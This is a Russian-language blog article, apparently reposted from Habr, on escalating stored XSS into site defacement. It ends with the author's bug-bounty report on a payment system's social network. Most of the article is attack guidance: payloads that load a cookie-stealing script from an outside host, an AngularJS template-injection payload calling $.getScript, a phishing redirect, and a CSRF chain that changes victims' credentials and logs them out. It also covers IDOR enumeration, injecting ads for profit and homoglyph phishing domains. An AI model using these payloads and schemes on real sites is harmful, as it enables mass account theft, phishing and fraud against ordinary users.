Deface сайта можно сделать, если вы получили доступ к ftp, залили shell и тд, но также это можно сделать с помощью обычной XSS. В этой статье я хочу рассказать, как использовать Stored XSS для того, чтобы изменить содержимое главной страницы сайта или определенной страницы для того, чтобы массово воровать cookies у пользователей и делать редирект на свой сайт.
Вся информация предоставлена исключительно в ознакомительных целях. Я не несу ответственности за любой возможный вред, причиненный материалами этой статьи.
Итак, что такое deface (Википедия):
Deface (англ. deface — уродовать, искажать) — тип взлома сайта, при котором главная (или любая другая) страница веб-сайта заменяется на другую — как правило, вызывающего вида: реклама, предупреждение, угроза или шутка.
Зачастую доступ ко всему остальному сайту блокируется, или же прежнее содержимое сайта вовсе удаляется.
Хулиганство, как самоутверждение начинающих хакеров.
Реклама, часто сомнительной продукции или услуги. На сайте публикуются рекламные картинки, ссылки на сайты (часто зараженные вирусами) и.т п.
Конкуренция между организациями. Одна фирма приносит фирме конкуренту имидживые и репутационные потери через взлом и дефейс их сайта.
Пример из 12-го года http://www.securitylab.ru/news/425919.php.
Stored xss на главной странице чаще всего подвергаются cms сайты (из моего опыта), в которых на главных страницах отображается активность пользователей. В основном это:
- *юзер добавил фото 1.jpg;
- *юзер создал тему / блог пост;
- *юзер вступил в группу;
- *юзер добавил юзера в друзья;
В owasp в разделе с XSS рассказывается, что xss может привести к deface, но нету мануала, как это сделать:
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
Мы можем внедрить скрипт в имя юзера, название фото/группы/темы, создать второй тестовый аккаунт и добавить его в друзья, таким образом скрипт выполнится на главной странице.
Ещё для того, чтобы код выполнился у большого количества людей, не обязательно его внедрять на главную страницу, можно его внедрить в личные кабинеты всех пользователей, в комментарии какой-нибудь статьи, или создать объявление на сайте, например, на country.ua (3 000 место по посещаемости в Украине), в названии и в описании объявления фильтрация, но в имени пользователя её нету.
1) Stored xss в комментарии к статье/теме — здесь все просто, пишем js в поле комментария, добавляем, ловим логи.
2) Для того, чтобы код выполнился у каждого юзера в личном кабинете, нужно использовать xss в связке с iDOR. Если с помощью idor можно изменить email любого юзера, восстановить аккаунт и взломать его — это хорошо, но что делать, если мы можем изменять такие данные, изменение которых ни к чему не приведет (например, редактирование заметки, адреса пользователя и тд)?
В таком случае мы должны найти в личном кабинете место, в котором в Post или в get запросе можно манипулировать id-ом юзера, изменять данные и начать перебор по всем возможным id. Важно, чтобы там была stored xss.
Мы можем разместить на главной странице скрипт кражи cookies, csrf эксплойт и redirect на фишинговый сайт:
1) Скрипт кражи cookies
"><script src=https://securityz.net/x.js?>
. Когда мы украли много cookies, их потом будет сложно сортировать, тем более срок многих из них скоро заканчивается, плюсом будет, если в куки записан email адрес юзера (потом мы сможем забрутить его аккаунт) и пароль в md5(видел много сайтов, которые хранят пароли в куках).
Если мы не хотим тратить время на сортировку куков или многие куки в httponly, то мы можем прибегнуть ко второму варианту.
2) Редирект на фишинговый сайт уязвимого сайта, ссылку со скачиванием бэкдора или клон paypal / privat24 / sberbank / соц сети
<meta http-equiv="refresh" content="1;URL=https://securityz.net/vk.html" />
.
3) Если в личном кабинете присутствует csrf, мы можем сделать редирект на csrf эксплойт, например example.com/account?do=settings&email=support1@habrahabr.ru&city=qwqwqw&address=qwqwwqqw&phone=11111111&password=qwerty&confirm_password=qwerty, скриптом добавлять цифру к емейлу и получать логины и пароли юзеров, разумно будет сразу использовать после эксплойта logout csrf https://example.com?logout для того, чтобы юзеры не смогли получить доступ к своему аккаунту и восстановить его.
Интересно то, что если не использовать редирект, а просто грузить js на страницу и воровать куки, то долгое время уязвимость может быть не замеченной.
Как массово взломать пользователей, мы уже выяснили. Теперь объясню, как заработать денег на рекламе или поднять свой сайт в топ по посещаемости.
Вместо того, чтобы делать редирект на фишинговые сайты, можем поднять денег с трафика, как вебмастер, просто «подсовывая» ссылки с рекламой пользователям. Для того, чтобы получить как можно больше с рекламы за то время, пока уязвимость ещё не пофикшена, будем грузить рекламу в iframe-ах или в всплывающих окнах, где они будут плодится, например, как эти мошеннки, которые зарабатывают $7 000 000 в месяц с рекламы. Много рекламодателей, которые готовы платить за переходы по ссылкам, можно найти в сети (не реклама).
2)Ещё в далеком 2004 авторы xakep.ru поняли, как поднять свой сайт в топ с помощью внедрения на главную сайта счетчика mail.ru https://xakep.ru/2004/05/17/22378/, можем сделать так само.
Два примера моих deface из реальной жизни:
- XSS на главной странице соцки privatbank.ua (bug bounty), когда заливаем фото в альбом, на главной странице отобразится наше имя, в котором редирект на мой сайт, см видео
.
- Client Side Template Injection, которую я раскрутил до xss, на социальной сети одной из самых популярных платежных систем (2000 alexarank мир, 150 alexa Россия).
К сожалению, эта компания не дала разрешение упомянуть её в статье:
Мы негативно относимся к подобным статьям.
Я тоже думаю, что новость о том, что на сайте этой платежной системы найдена критическая уязвимость, которая могла навредить пользователям, плохо отразится на репутации компании.
Раньше cms.example.com представляла из себя cms старого поколения, в ней было много xss, которые со временем пофиксили, сейчас сделали новую cms на angular. Я не нашёл ни одной xss, решил проверить на template injection, пейлоад
{{2+2}}
выдал 4, определив версию angular, подобрал этот пейлоад{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}
.Получилась хранимая XSS на странице юзера в посте. И эта xss выполняется где угодно на сайте: В личных сообщениях, группах, комментариях и тд.
Но самое главное — это дефейс главной страницы. Когда добавляем пост, он отображается у всех на главной — в юзеров и у гостей. Сейчас мы можем только вызвать alert.Вспоминаем о старой статье взлома mcdonalds с помощью template injection https://finnwea.com/blog/stealing-passwords-from-mcdonalds-users
, берём оттуда payload
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://securityz.net/x.js`)');}}`
и мы можем смело воровать куки или делать редирект на фишинговый сайт (кстати, по фишинговом сайту, вот лайфхак — если ваша жертва умеет заглядывать в url и различать веб сайты, то можно в названии сайта одну букву заменить на ту, которая очень схожа с ней, например account.goØgle.com, если ещё и будет ssl, то отличить подделку от оригинала будет сложно и в связке с deface будет много логов, вот латинские буквы и схожие с ними символы. )
04.02.2017: Зарепортил уязвимость.
04.02.2017: Уязвимость исправлена.
10.02.2017: Переведена награда $200. Доказал опасность тем, что это не обычная xss, а deface.
16.02.2017: Дополнительная награда $800. Итого за эту уязвимость $1000.
Вывод из статьи: Когда уязвимость позволяет сделать изменить главную страницу сайта, то это очень опасно. В случае раскрутки xss в deface в bug bounty можно получить гораздо больше денег за эту уязвимость.
Предыдущая статья https://habrahabr.ru/post/321116/
P.S: Группа vk, twitter, telegram внизу.
ссылка на оригинал статьи https://habrahabr.ru/post/328276/
Добавить комментарий